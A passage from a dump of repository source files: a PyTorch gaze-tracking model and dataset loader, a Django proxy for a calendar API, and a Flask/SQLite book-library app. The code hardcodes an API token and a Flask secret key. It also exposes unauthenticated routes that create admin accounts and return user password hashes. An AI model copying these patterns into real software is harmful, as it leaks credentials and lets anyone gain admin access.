self).__init__()\n self.fc = nn.Sequential(\n nn.Linear(gridSize * gridSize, 256),\n nn.ReLU(inplace=True),\n nn.Linear(256, 128),\n nn.ReLU(inplace=True),\n )\n\n def forward(self, x):\n x = x.view(x.size(0), -1)\n x = self.fc(x)\n return x\n\n\nclass MultiHeadAttBlock(nn.Module):\n def __init__(self, features_dim, num_head, d_k, qkv_bias=True):\n super(MultiHeadAttBlock, self).__init__()\n\n self.dim = features_dim\n self.num_head = num_head\n self.d_k = d_k\n # assert head_dim * self.num_head == self.dim, \"head num setting wrong\"\n\n self.Wq = nn.Linear(self.dim, self.num_head * self.d_k, bias=qkv_bias)\n self.Wk = nn.Linear(self.dim, self.num_head * self.d_k, bias=qkv_bias)\n self.Wv = nn.Linear(self.dim, self.num_head * self.d_k, bias=qkv_bias)\n\n self.proj = nn.Linear(self.num_head * self.d_k, self.dim)\n\n def forward(self, x):\n # x: b, s, c\n B, S, C = x.shape\n\n # qkv: b, nhead, s, d_k\n q = self.Wq(x).view(B, S, self.num_head, self.d_k).transpose(1, 2)\n k = self.Wk(x).view(B, S, self.num_head, self.d_k).transpose(1, 2)\n v = self.Wv(x).view(B, S, self.num_head, self.d_k).transpose(1, 2)\n\n # scores: b, nhead, s, s\n scores = torch.matmul(q, k.transpose(-1, -2)) / np.sqrt(self.d_k)\n attn = F.softmax(scores, dim=-1)\n\n # x_attn: b, nhead, s, d_k\n x_attn = torch.matmul(attn, v).transpose(1, 2).contiguous().view(B, -1, self.num_head * self.d_k)\n output = self.proj(x_attn)\n return output\n\n\nclass ITrackerModel(nn.Module):\n def __init__(self):\n super(ITrackerModel, self).__init__()\n self.eyeModel = ItrackerImageModel()\n self.faceModel = FaceImageModel()\n # self.gridModel = FaceGridModel()\n # Joining both eyes\n self.eyesFC = nn.Sequential(\n nn.Linear(12*12*64, 1024),\n nn.ReLU(inplace=True),\n )\n # Joining everything\n self.fc = nn.Sequential(\n nn.Linear(128+64, 128),\n nn.ReLU(inplace=True),\n nn.Linear(128, 2),\n )\n\n # multi-head attention\n self.mha = MultiHeadAttBlock(\n features_dim=1024,\n num_head=4,\n d_k=256\n )\n self.norm1 = nn.LayerNorm(1024)\n self.ffn = nn.Sequential(\n nn.Linear(1024, 1024),\n nn.ReLU(True),\n nn.Linear(1024, 1024)\n )\n self.norm2 = nn.LayerNorm(1024)\n\n # fc output\n self.fc_eye = nn.Sequential(\n nn.Linear(1024 * 2, 128),\n nn.ReLU(True)\n )\n self.fc_face = nn.Sequential(\n nn.Linear(1024, 128),\n nn.ReLU(True),\n nn.Linear(128, 128),\n nn.ReLU(True)\n )\n self.fc_out = nn.Sequential(\n nn.Linear(128 * 2, 128),\n nn.ReLU(True),\n nn.Linear(128, 2)\n )\n\n def forward(self, faces, eyesLeft, eyesRight):\n B = faces.shape[0]\n # Eye nets\n xEyeL = self.eyeModel(eyesLeft).view(B, 1, -1)\n xEyeR = self.eyeModel(eyesRight).view(B, 1, -1)\n xEyeL = self.eyesFC(xEyeL).view(B, 1, -1)\n xEyeR = self.eyesFC(xEyeR).view(B, 1, -1)\n\n # Face net\n xFace = self.faceModel(faces).view(B, 1, -1)\n # xGrid = self.gridModel(faceGrids)\n\n x_seq = torch.cat([xEyeL, xEyeR, xFace], dim=1)\n x_seq = x_seq + self.norm1(self.mha(x_seq))\n x_ffn = x_seq + self.norm2(self.ffn(x_seq))\n xEyeL, xEyeR, xFace = torch.unbind(x_ffn, dim=1)\n\n # Cat and FC\n xEyes = torch.cat([xEyeL, xEyeR], 1)\n xEyes = self.fc_eye(xEyes)\n xFace = self.fc_face(xFace)\n\n # Cat all\n x = torch.cat((xEyes, xFace), 1)\n x = self.fc_out(x)\n \n return x\n\n\nclass itracker_transformer(nn.Module):\n def __init__(self):\n super(itracker_transformer, self).__init__()\n\n self.face_backbone = resnet50(pretrained=True)\n self.left_eye_backbone = resnet50(pretrained=True, replace_stride_with_dilation=[True, True, True])\n self.right_eye_backbone = resnet50(pretrained=True, replace_stride_with_dilation=[True, True, True])\n\n self.mha = MultiHeadAttBlock(features_dim=2048, num_head=4, d_k=256)\n self.norm1 = nn.LayerNorm(2048)\n self.ffn = nn.Sequential(\n nn.Linear(2048, 2048),\n nn.ReLU(True),\n nn.Linear(2048, 2048)\n )\n self.norm2 = nn.LayerNorm(2048)\n\n self.fc_face = nn.Sequential(\n nn.Linear(2048,128),\n nn.ReLU(True),\n nn.Linear(128, 128),\n nn.ReLU(True)\n )\n self.fc_eye = nn.Sequential(\n nn.Linear(2048 * 2, 128),\n nn.ReLU(True)\n )\n self.fc_out = nn.Sequential(\n nn.Linear(128 * 2, 128),\n nn.ReLU(True),\n nn.Linear(128, 2)\n )\n\n def forward(self, imFace, Leye, Reye):\n B = imFace.shape[0]\n\n imFace = self.face_backbone(imFace).view(B, 1, -1)\n Leye = self.left_eye_backbone(Leye).view(B, 1, -1)\n Reye = self.right_eye_backbone(Reye).view(B, 1, -1)\n\n seq = torch.cat([imFace, Leye, Reye], dim=1)\n seq = seq + self.norm1(self.mha(seq))\n ffn = seq + self.norm2(self.ffn(seq))\n imFace, Leye, Reye = torch.unbind(ffn, dim=1)\n\n eye = torch.cat([Leye, Reye], dim=1)\n eye = self.fc_eye(eye)\n imFace = self.fc_face(imFace)\n\n x = torch.cat([eye, imFace], dim=1)\n x = self.fc_out(x)\n\n return x\n\n\n" }, { "alpha_fraction": 0.5636363625526428, "alphanum_fraction": 0.6151515245437622, "avg_line_length": 16.421052932739258, "blob_id": "c3a7432a7728248852c436cd7efac53cc31d7728", "content_id": "8febe0b8e8514c38d56dcbfa04b466f4bd09b4de", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 330, "license_type": "permissive", "max_line_length": 38, "num_lines": 19, "path": "/models/backbone/my_resnet.py", "repo_name": "Kihensarn/itracker_preprocessed_image", "src_encoding": "UTF-8", "text": "import timm\nfrom functools import partial\n\n\n__all__ = ['resnet50']\n\nresnet50 = partial(\n timm.create_model,\n model_name='resnet50',\n num_classes=0\n)\n\nif __name__ == '__main__':\n import torch\n image = torch.rand(2, 3, 224, 224)\n model = resnet50()\n print(model)\n output= model(image)\n print(output.shape)" }, { "alpha_fraction": 0.5654750466346741, "alphanum_fraction": 0.5866947174072266, "avg_line_length": 30.130952835083008, "blob_id": "2bef52e05b527a7a7c904e648605740d868055f2", "content_id": "9d168b8edfb135be285474d035ee1bc25a89a22a", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 5231, "license_type": "permissive", "max_line_length": 119, "num_lines": 168, "path": "/data/xgaze_dataset.py", "repo_name": "Kihensarn/itracker_preprocessed_image", "src_encoding": "UTF-8", "text": "import os\nimport json\nimport h5py\nimport random\n\nfrom numpy.core.fromnumeric import resize\nimport cv2\nimport numpy as np\nimport scipy.io as sio\nfrom pathlib import Path\nfrom typing import List\nfrom PIL import Image\n\n\nimport torch\nimport torch.distributed as dist\nfrom torchvision import transforms\nfrom torch.utils.data import Dataset, DataLoader\n\nINPUT_SIZE = (224, 224)\n\ntrans = transforms.Compose([\n transforms.Resize(INPUT_SIZE),\n transforms.ToTensor(), # this also convert pixel value from [0,255] to [0,1]\n transforms.Normalize(mean=[0.485, 0.456, 0.406],\n std=[0.229, 0.224, 0.225]),\n ])\n\ntransform_test = transforms.Compose([\n transforms.Resize(INPUT_SIZE),\n transforms.ToTensor(),\n transforms.Normalize(mean=[0.485, 0.456, 0.406],\n std=[0.229, 0.224, 0.225]),\n ])\n\ntransform_train = transforms.Compose([\n transforms.Resize(INPUT_SIZE),\n # transforms.Pad(10),\n # transforms.RandomCrop(224),\n transforms.ToTensor(),\n transforms.Normalize(mean=[0.485, 0.456, 0.406],\n std=[0.229, 0.224, 0.225]),\n ])\n\n\ndef get_data_loader(data_dir, batch_size, image_scale=1, mode='train', num_workers=4, distributed=True, debug=False):\n\n if mode == 'train':\n is_shuffle = True\n is_load_label = True\n drop_last = True\n transform = transform_train\n elif mode == 'test':\n is_shuffle = False\n is_load_label = False\n drop_last = False\n transform = transform_test\n elif mode == 'eval':\n is_shuffle = False\n is_load_label = True\n drop_last = True\n transform = transform_test\n elif mode == 'test_specific':\n raise NotImplementedError\n else:\n raise ValueError\n\n data_set = GazeDataset(\n mode=mode,\n dataset_path=data_dir,\n transform=transform,\n is_load_label=is_load_label,\n image_scale=image_scale,\n debug=debug\n )\n\n if distributed:\n assert dist.is_available(), \"dist should be initialzed\"\n sampler = torch.utils.data.distributed.DistributedSampler(data_set, shuffle=is_shuffle)\n batchsampler = torch.utils.data.sampler.BatchSampler(sampler, batch_size, drop_last=drop_last)\n data_loader = DataLoader(\n data_set,\n batch_sampler=batchsampler,\n num_workers=num_workers,\n pin_memory=True,\n )\n else:\n data_loader = DataLoader(\n data_set,\n batch_size=batch_size,\n num_workers=num_workers,\n pin_memory=True,\n )\n return data_loader\n\n\ndef loadMeta(path):\n try:\n meta = sio.loadmat(str(path), squeeze_me=True, struct_as_record=False)\n except:\n print('fail to load the {}'.format(path.stem))\n return None\n return meta\n\nclass GazeDataset(Dataset):\n def __init__(self,\n mode,\n dataset_path: str,\n transform=None,\n is_load_label=True,\n image_scale=1,\n debug=False\n ):\n self.dataPath = dataset_path\n self.trans = transform\n self.is_load_label = is_load_label\n self.image_scale = image_scale\n self.debug = debug\n\n if mode == 'test':\n self.dataset = Path(self.dataPath) / 'test'\n self.meta = loadMeta(self.dataset.joinpath('meta_test.mat'))\n print('test')\n elif mode == 'train':\n self.dataset = Path(self.dataPath) / 'train'\n self.meta = loadMeta(self.dataset.joinpath('meta_train.mat'))\n print('train')\n else:\n self.dataset = Path(self.dataPath) / 'val'\n self.meta = loadMeta(self.dataset.joinpath('meta_validate.mat'))\n print('val')\n\n def loadImage(self, path):\n try:\n image = Image.open(str(path)).convert('RGB')\n except:\n raise RuntimeError('Could load the image')\n return image\n\n def __getitem__(self, index):\n face_path = self.dataset.joinpath(\n 'subject{:0>4d}/face/{:0>6d}.jpg'.format(self.meta['subject'][index], self.meta['frameIndex'][index]))\n left_eye_path = self.dataset.joinpath(\n 'subject{:0>4d}/left_eye/{:0>6d}.jpg'.format(self.meta['subject'][index], self.meta['frameIndex'][index]))\n right_eye_path = self.dataset.joinpath(\n 'subject{:0>4d}/right_eye/{:0>6d}.jpg'.format(self.meta['subject'][index], self.meta['frameIndex'][index]))\n\n face = self.loadImage(face_path)\n left_eye = self.loadImage(left_eye_path)\n right_eye = self.loadImage(right_eye_path)\n\n face = self.trans(face)\n left_eye = self.trans(left_eye)\n right_eye = self.trans(right_eye)\n\n if self.is_load_label:\n eye_direction = self.meta['face_gaze_direction'][index]\n eye_direction = np.array(eye_direction)\n eye_direction = torch.FloatTensor(eye_direction)\n else:\n eye_direction = []\n return face, left_eye, right_eye, eye_direction\n\n def __len__(self):\n if self.debug:\n return 1000\n else:\n return self.meta['subject'].shape[0]\n\n" } ]
25
amaralunao/api_proxy
https://github.com/amaralunao/api_proxy
305f413dd63b20347c8702f6fe906c7572c1f7c4
48b60ec04c30d1a4fd61135b2dc8b63e9767b776
74a9fa34acc86ec46d6b425fb422e5b310488fbe
refs/heads/master
2021-04-28T23:59:02.280116
2016-12-30T14:46:39
2016-12-30T14:46:39
77,691,739
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.6167401075363159, "alphanum_fraction": 0.6299559473991394, "avg_line_length": 44.400001525878906, "blob_id": "bccb2e95e4be8d6e6d7b3a5ce94e5bb5a3c782aa", "content_id": "f8e6c4ea0d11b78587060f0af8e3f8cb65e431a6", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 227, "license_type": "no_license", "max_line_length": 62, "num_lines": 5, "path": "/api/constants.py", "repo_name": "amaralunao/api_proxy", "src_encoding": "UTF-8", "text": "HOST = \"https://demo.calendar42.com/api/v2/\"\nAPI_TOKEN = \"Token 5426034f09d8463684d5de9beea93ea34d214b65\"\nheaders = {\"Accept\": \"application/json\",\n \"Content-type\": \"application/json\",\n \"Authorization\": \"{Token}\".format(Token=API_TOKEN)}\n" }, { "alpha_fraction": 0.6541353464126587, "alphanum_fraction": 0.6616541147232056, "avg_line_length": 28.55555534362793, "blob_id": "5d485ba6b7e6a55304836e7c395d57742c407648", "content_id": "6ccf48d63ad536a59f4e9ee7195f5a77d17e7d0a", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 532, "license_type": "no_license", "max_line_length": 69, "num_lines": 18, "path": "/api/views.py", "repo_name": "amaralunao/api_proxy", "src_encoding": "UTF-8", "text": "from django.shortcuts import render\nfrom .utils import get_event_title, get_event_names\nfrom django.views.decorators.cache import cache_page\n\n\n@cache_page(60 * 4.2)\ndef events_with_subscriptions(request, event_id):\n title = get_event_title(event_id)\n names = get_event_names(event_id)\n\n events_with_names_dict = {\n \"id\": event_id,\n \"title\": title,\n \"names\": names\n }\n\n return render(request, 'events_with_subscriptions.html',\n {'events_with_names_dict': events_with_names_dict})\n" }, { "alpha_fraction": 0.6642783880233765, "alphanum_fraction": 0.6653019189834595, "avg_line_length": 28.606060028076172, "blob_id": "5dc3681a77e285869e906e895772b5f06f9e1880", "content_id": "d868ec45a824f9fe0cdecdf45759b109f9502863", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 977, "license_type": "no_license", "max_line_length": 86, "num_lines": 33, "path": "/api/utils.py", "repo_name": "amaralunao/api_proxy", "src_encoding": "UTF-8", "text": "import requests\n\nfrom .constants import HOST, API_TOKEN, headers\n\n\ndef get_event(event_id):\n url = HOST+\"events/{EVENT_ID}/\".format(EVENT_ID=event_id)\n return requests.get(url, headers=headers).json()\n\n\ndef get_event_subscriptions(event_id):\n url = HOST+\"event-subscriptions/?event_ids=[{EVENT_ID}]\".format(EVENT_ID=event_id)\n return requests.get(url, headers=headers).json()\n\n\ndef get_event_title(event_id):\n event_details = get_event(event_id)\n if event_details.get('error'):\n title = \"Error occured while getting the title\"\n title = event_details.get('data')[0].get('title')\n return title\n\n\ndef get_event_names(event_id):\n event_details = get_event_subscriptions(event_id)\n if event_details.get('error'):\n names = ['Error occured while getting the event names']\n else:\n names = []\n for entry in event_details.get('data'):\n names.append(str(entry.get('subscriber').get('first_name')))\n\n return names\n" }, { "alpha_fraction": 0.7388973832130432, "alphanum_fraction": 0.7465543746948242, "avg_line_length": 49.19230651855469, "blob_id": "6ef4082c142d9eb543cd69150fb385d6e4329b7b", "content_id": "dbb6eb1af230b352080874eef352fdab27911083", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 1306, "license_type": "no_license", "max_line_length": 81, "num_lines": 26, "path": "/README.md", "repo_name": "amaralunao/api_proxy", "src_encoding": "UTF-8", "text": "Simple Api Proxy\n================\n\nSteps taken and tools used\n--------------------------\n\n* Decided to use Atom editor and Django==1.9.7\n* Initialized my git repository and Django project skeleton\n* Testing the API calls was done via Postman(Chrome extension)\n* I decided to look for an alternative to get the desired data and found an\n easy and elegant way to do so with: Requests: HTTP for Humans = > created\n 4 simple functions to retrieve the event, event_subscription, title and names\n and put these functions in an utils.py.\n* Since the HOST, API Token and Header format are constants for this API Proxy,\n I decided to put these in a constants.py and to import them to my utils.py\n module.\n* Looked into caching on the Django documentation site and found the simple\n per-view caching to which I could pass the results caching time of 4.2 minutes\n (60 * 4.2)\n* Wrote the function view events_with_subscriptions that uses the utils\n functions to retrieve and render the data with help from a basic html template \n* Also included the url for the final api call based on the view and with\n matching the event_id by using regex\n* It did not seem necessary to store the data by using a model in the database\n* Created a requirements.txt to include django and requests.\n* Did not create any tests \n" }, { "alpha_fraction": 0.6762295365333557, "alphanum_fraction": 0.6844262480735779, "avg_line_length": 33.85714340209961, "blob_id": "d38aff893ffdadeb8b01502234080883d9107e1f", "content_id": "aef6a3cd68a4c5bcde8ecf8577d0c80ce9de9082", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 244, "license_type": "no_license", "max_line_length": 69, "num_lines": 7, "path": "/api/urls.py", "repo_name": "amaralunao/api_proxy", "src_encoding": "UTF-8", "text": "from django.conf.urls import url\nfrom .views import events_with_subscriptions\n\nurlpatterns = [\n url(r'^events-with-subscriptions/(?P<event_id>[0-9a-fA-F_]+)/*',\n events_with_subscriptions, name='events-with-subscriptions'),\n ]\n" } ]
5
seantristan127/flask-myriad
https://github.com/seantristan127/flask-myriad
ca6d649eaf52230f6899ef809a6b9817a8692e92
cf25e39d068586d78da387f5b0224db831443860
61c9566f579ddebb629f58f651bdae01e4e2359d
refs/heads/master
2020-04-01T22:37:51.243866
2018-10-18T07:08:49
2018-10-18T07:08:49
null
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.5532351136207581, "alphanum_fraction": 0.5607092976570129, "avg_line_length": 27.254657745361328, "blob_id": "80149f02847b55b50dd6282a8e5bd9d988f8f32e", "content_id": "1b03006f3f3b965f17ca74d24f9835874eff6348", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 13647, "license_type": "no_license", "max_line_length": 203, "num_lines": 483, "path": "/myflask.py", "repo_name": "seantristan127/flask-myriad", "src_encoding": "UTF-8", "text": "import os\nimport sqlite3\nimport urllib\nfrom urllib.request import urlopen\nfrom flask import Flask, render_template, request, flash, jsonify, url_for\nimport json\n\nfrom flask_uploads import UploadSet, IMAGES\n\nfrom flask_bcrypt import Bcrypt\nfrom werkzeug.utils import redirect\n\nphotos = UploadSet('photos', IMAGES)\n\napp = Flask(__name__)\n\nDATABASE = \"./myriad.db\"\n\napp.config['SECRET_KEY'] = '290d63efdb9e78f5a7824aef129fe7c6'\n\nbcrypt = Bcrypt()\n\nif not os.path.exists(DATABASE):\n print(\"DATABASE HAS BEEN CREATED\")\n db_conn = sqlite3.connect('myriad.db')\n\n cursor = db_conn.cursor()\n\n try:\n cursor.execute('''CREATE TABLE user(\n user_id INTEGER PRIMARY KEY AUTOINCREMENT NOT NULL,\n user_fname VARCHAR(45) NOT NULL,\n user_lname VARCHAR(45) NOT NULL,\n user_email VARCHAR(45) NOT NULL,\n user_password VARCHAR(45) NOT NULL,\n user_isActive BOOLEAN NOT NULL,\n user_isAdmin BOOLEAN NOT NULL\n );''')\n\n db_conn.commit()\n\n except sqlite3.OperationalError as e:\n print(e)\n\n try:\n cursor.execute('''CREATE TABLE genre(\n genre_id INTEGER PRIMARY KEY AUTOINCREMENT NOT NULL,\n genre_name VARCHAR(45) NOT NULL\n );''')\n\n db_conn.commit()\n\n except sqlite3.OperationalError as e:\n print(e)\n\n try:\n cursor.execute('''CREATE TABLE type(\n type_id INTEGER PRIMARY KEY AUTOINCREMENT NOT NULL,\n type_name VARCHAR(45) NOT NULL\n );''')\n\n db_conn.commit()\n\n except sqlite3.OperationalError as e:\n print(e)\n\n try:\n cursor.execute('''CREATE TABLE comment(\n comment_id INTEGER PRIMARY KEY AUTOINCREMENT NOT NULL,\n comment_text TEXT NOT NULL,\n user_id VARCHAR(45) NOT NULL,\n FOREIGN KEY(user_id) REFERENCES user(user_id)\n );''')\n\n db_conn.commit()\n\n except sqlite3.OperationalError as e:\n print(e)\n\n try:\n cursor.execute('''CREATE TABLE rating(\n rating_id INTEGER PRIMARY KEY AUTOINCREMENT NOT NULL,\n rating_score FLOAT,\n user_id VARCHAR(45) NOT NULL,\n FOREIGN KEY(user_id) REFERENCES user(user_id)\n );''')\n\n db_conn.commit()\n\n except sqlite3.OperationalError as e:\n print(e)\n\n try:\n cursor.execute('''CREATE TABLE book(\n book_id INTEGER PRIMARY KEY AUTOINCREMENT NOT NULL,\n book_name VARCHAR(45) NOT NULL,\n book_description VARCHAR(45) NOT NULL,\n book_author VARCHAR(45) NOT NULL,\n book_picture VARCHAR(45),\n book_isbn VARCHAR(45) NOT NULL,\n book_average_rating FLOAT,\n type_id VARCHAR(45) NOT NULL,\n FOREIGN KEY(type_id) REFERENCES type(type_id)\n );''')\n\n db_conn.commit()\n\n except sqlite3.OperationalError as e:\n print(e)\n\n try:\n cursor.execute('''CREATE TABLE book_comment(\n comment_id INTEGER NOT NULL,\n book_id INTEGER NOT NULL,\n FOREIGN KEY(comment_id) REFERENCES comment(comment_id),\n FOREIGN KEY(book_id) REFERENCES book(book_id)\n );''')\n\n db_conn.commit()\n\n except sqlite3.OperationalError as e:\n print(e)\n\n try:\n cursor.execute('''CREATE TABLE book_rating(\n rating_id INTEGER NOT NULL,\n book_id INTEGER NOT NULL,\n FOREIGN KEY(rating_id) REFERENCES rating(rating_id),\n FOREIGN KEY(book_id) REFERENCES book(book_id)\n );''')\n\n db_conn.commit()\n\n except sqlite3.OperationalError as e:\n print(e)\n\n try:\n cursor.execute('''CREATE TABLE book_genre(\n genre_id INTEGER NOT NULL,\n book_id INTEGER NOT NULL,\n FOREIGN KEY(genre_id) REFERENCES genre(genre_id),\n FOREIGN KEY(book_id) REFERENCES book(book_id)\n );''')\n\n db_conn.commit()\n\n except sqlite3.OperationalError as e:\n print(e)\n\n try:\n cursor.execute('''CREATE TABLE user_library(\n user_id INTEGER NOT NULL,\n book_id INTEGER NOT NULL,\n FOREIGN KEY(user_id) REFERENCES user(user_id),\n FOREIGN KEY(book_id) REFERENCES book(book_id)\n );''')\n\n db_conn.commit()\n\n except sqlite3.OperationalError as e:\n print(e)\n\n db_conn.close()\n\nelse:\n print(\"DATABASE ALREADY EXIST\")\n\n\[email protected](\"/\")\[email protected](\"/index\")\ndef index():\n return render_template('index.html')\n\n\[email protected](\"/signup\")\ndef signup():\n return render_template('signup.html', title = 'Sign Up')\n\n\[email protected](\"/admin_signin\")\ndef admin_signin():\n return render_template('admin_signin.html', title = 'Sign In as Administrator')\n\n\[email protected](\"/signin\")\ndef signin():\n return render_template('signin.html', title = 'Sign In')\n\n\[email protected](\"/login_user\", methods=['GET', 'POST'])\ndef login_user():\n\n if request.method == 'POST':\n email_address = request.form['email']\n password = request.form['password']\n\n db_conn = sqlite3.connect('myriad.db')\n\n cursor = db_conn.cursor()\n\n cursor.execute(\"SELECT user_email FROM user WHERE user_email = ?\", (email_address,))\n email_check = cursor.fetchone()\n\n cursor.execute(\"SELECT user_password FROM user WHERE user_email = ?\", (email_address,))\n hashed_pw = cursor.fetchone()\n\n try:\n if bcrypt.check_password_hash(hashed_pw[0], password) and email_address == email_check[0]:\n\n cursor.execute(\"SELECT user_isAdmin FROM user WHERE user_email = ?\", (email_address,))\n is_admin = cursor.fetchone()\n\n cursor.execute(\"SELECT user_lname FROM user WHERE user_email = ?\", (email_address,))\n user_name = cursor.fetchone()\n\n response = urllib.request.urlopen('http://127.0.0.1:5000/users_api').read()\n\n jsonResponse = json.loads(response)\n\n\n db_conn.commit()\n db_conn.close()\n\n if is_admin[0]:\n print(\"Im admin\")\n return redirect(url_for('admin'))\n else:\n print(\"Im user\")\n return redirect(url_for('user_home', name = user_name[0]))\n else:\n flash(\"Invalid input\")\n except TypeError as e:\n pass\n\n return render_template('index.html')\n\n\[email protected](\"/admin_form\", methods=['GET', 'POST'])\ndef admin_form():\n\n if request.method == 'POST':\n\n email_address = request.form['email']\n password = request.form['password']\n\n db_conn = sqlite3.connect('myriad.db')\n\n cursor = db_conn.cursor()\n\n cursor.execute(\"SELECT user_email FROM user WHERE user_email = ?\", (email_address,))\n email_check = cursor.fetchone()\n\n cursor.execute(\"SELECT user_password FROM user WHERE user_email = ?\", (email_address,))\n hashed_pw = cursor.fetchone()\n\n try:\n if bcrypt.check_password_hash(hashed_pw[0], password) and email_address == email_check[0]:\n\n cursor.execute(\"SELECT user_isAdmin FROM user WHERE user_email = ?\", (email_address,))\n is_admin = cursor.fetchone()\n\n cursor.execute(\"SELECT user_lname FROM user WHERE user_email = ?\", (email_address,))\n user_name = cursor.fetchone()\n\n db_conn.commit()\n db_conn.close()\n\n print(is_admin[0])\n if is_admin[0]:\n return render_template('dashboard.html')\n else:\n return \"<script>alert('Permission Denied')</script>\"\n else:\n flash(\"Invalid input\")\n except TypeError as e:\n pass\n\n return render_template('index.html')\n\n\[email protected](\"/add_user\", methods=['GET', 'POST'])\ndef add_user():\n return render_template('add_user.html')\n\n\[email protected](\"/process_user\", methods=['GET', 'POST'])\ndef process_user():\n print(\"in\")\n if request.method == 'POST':\n email = request.form['email']\n first_name = request.form['firstname']\n last_name = request.form['lastname']\n password = request.form['pass']\n\n hashed_pw = bcrypt.generate_password_hash(password).decode('UTF-8')\n db_conn = sqlite3.connect('myriad.db')\n\n cursor = db_conn.cursor()\n\n cursor.execute(\"INSERT INTO user(user_fname, user_lname, user_email, user_password, user_isActive, user_isAdmin) VALUES (?, ?, ?, ?, ?, ?)\", (first_name, last_name, email, hashed_pw, True, True))\n\n db_conn.commit()\n\n db_conn.close()\n\n return render_template('index.html')\n\n\[email protected](\"/admin_add_user\", methods=['POST'])\ndef admin_add_user():\n print(\"hello\")\n if request.method == 'POST':\n\n print(\"hello\")\n email = request.form['email']\n first_name = request.form['firstname']\n last_name = request.form['lastname']\n password = request.form['password']\n\n hashed_pw = bcrypt.generate_password_hash(password).decode('UTF-8')\n db_conn = sqlite3.connect('myriad.db')\n\n cursor = db_conn.cursor()\n\n cursor.execute(\n \"INSERT INTO user(user_fname, user_lname, user_email, user_password, user_isActive, user_isAdmin) VALUES (?, ?, ?, ?, ?, ?)\",\n (first_name, last_name, email, hashed_pw, True, False))\n\n db_conn.commit()\n\n db_conn.close()\n\n '''return jsonify({\n 'username' : user_name,\n 'email': email,\n 'first_name': first_name,\n 'last_name': last_name,\n 'password': password,\n })'''\n return \"<script>alert('Book Successfully Added!')</script>\"\n\n\[email protected](\"/admin\")\ndef admin():\n return render_template('admin.html')\n\n\ndef dict_factory(cursor, row):\n d = {}\n for idx, col in enumerate(cursor.description):\n d[col[0]] = row[idx]\n return d\n\n\[email protected](\"/all_books\")\ndef all_books():\n\n db_conn = sqlite3.connect('myriad.db')\n\n cursor = db_conn.cursor()\n\n cursor.execute(\"SELECT * FROM book\")\n books = cursor.fetchall()\n\n cursor.execute(\"SELECT COUNT(distinct book_comment.book_id) FROM book_comment INNER JOIN book ON book_comment.book_id = book.book_id\")\n comment = cursor.fetchall()\n\n return render_template('all_books.html', books = books, comment = comment)\n\n\[email protected](\"/all_user\")\ndef all_user():\n\n db_conn = sqlite3.connect('myriad.db')\n\n cursor = db_conn.cursor()\n\n cursor.execute(\"SELECT * FROM user\")\n user = cursor.fetchall()\n return render_template('all_user.html', users = user)\n\n\[email protected](\"/upload_book\", methods=['GET', 'POST'])\ndef upload_book():\n print(\"hello\")\n if request.method == 'POST':\n name = request.form['name']\n print(name)\n description = request.form['description']\n author = request.form['author']\n image = \"x\"\n isbn = request.form['isbn']\n type = '1'\n db_conn = sqlite3.connect('myriad.db')\n\n cursor = db_conn.cursor()\n\n cursor.execute(\n \"INSERT INTO book(book_name, book_description, book_author, book_isbn, book_average_rating, book_picture) VALUES (?, ?, ?, ?, ?, ?)\",\n (name, description, author, isbn, 0, image))\n\n db_conn.commit()\n db_conn.close()\n\n return \"<script>alert('Book Successfully Added!')</script>\"\n\n\[email protected](\"/add_books\")\ndef add_books():\n return render_template('add_books.html')\n\n\[email protected](\"/logout\")\ndef logout():\n return render_template('logout.html')\n\n\[email protected](\"/user_home\")\ndef user_home():\n return render_template('user_home.html')\n\n\[email protected](\"/user_library\")\ndef user_library():\n return render_template('user_library.html')\n\n\ndef dict_factory(cursor, row):\n d = {}\n for idx, col in enumerate(cursor.description):\n d[col[0]] = row[idx]\n return d\n\n\[email protected](\"/users_api\")\ndef admin_api():\n\n db_conn = sqlite3.connect('myriad.db')\n db_conn.row_factory = dict_factory\n\n cursor = db_conn.cursor()\n cursor.execute(\"SELECT * FROM user\")\n results = cursor.fetchall()\n db_conn.close()\n\n return jsonify(results)\n\n\[email protected](\"/books_api\")\ndef books_api():\n\n db_conn = sqlite3.connect('myriad.db')\n db_conn.row_factory = dict_factory\n\n cursor = db_conn.cursor()\n cursor.execute(\"SELECT * FROM book\")\n results = cursor.fetchall()\n db_conn.close()\n\n return jsonify(results)\n\n\[email protected](\"/browse_books\")\ndef browse_books():\n\n response = urllib.request.urlopen('http://127.0.0.1:5000/books_api').read()\n\n jsonResponse = json.loads(response)\n\n sample_view = \"\"\n for rows in jsonResponse:\n sample_view += rows['picture'] + '\\n'\n\n #print(jsonResponse[0]['author'])\n return render_template('browse_books.html', jsonResponse = sample_view)\n\n'''\ndef browse_books():\n return render_template('browse_books.html')'''\n\n\nif __name__ == \"__main__\":\n app.run(debug = True)\n" }, { "alpha_fraction": 0.4323432445526123, "alphanum_fraction": 0.4323432445526123, "avg_line_length": 19.200000762939453, "blob_id": "0e98719b148dd614a423dc441910ad044157745c", "content_id": "8cb78108d70267a16a70b00a6d24af7e005967ac", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "JavaScript", "length_bytes": 606, "license_type": "no_license", "max_line_length": 52, "num_lines": 30, "path": "/static/js/add_books.js", "repo_name": "seantristan127/flask-myriad", "src_encoding": "UTF-8", "text": "\n$(document).ready(function() {\n\t$('#submitBook').on('click', function() {\n\t\t$.ajax({\n\t\t\tdata : {\n\t\t\t name : $('#book_name').val(),\n description : $('#description').val(),\n genre : $('#author').val(),\n isbn : $('#isbn').val(),\n author : $('#type').val()\n\t\t\t},\n\t\t\ttype : 'POST',\n\t\t\turl : '/upload_book'\n\t\t})\n\t\t.done(function(data) {\n\n alert(\"Book successfully added!\")\n\t\t\t$('#book_name').val('');\n\t\t\t$('#description').val('');\n\t\t\t$('#author').val('');\n\t\t\t$('#isbn').val('');\n\t\t\t$('#type').val('');\n\n\n\t\t});\n\n\t\tevent.preventDefault();\n\n\t});\n\n});" }, { "alpha_fraction": 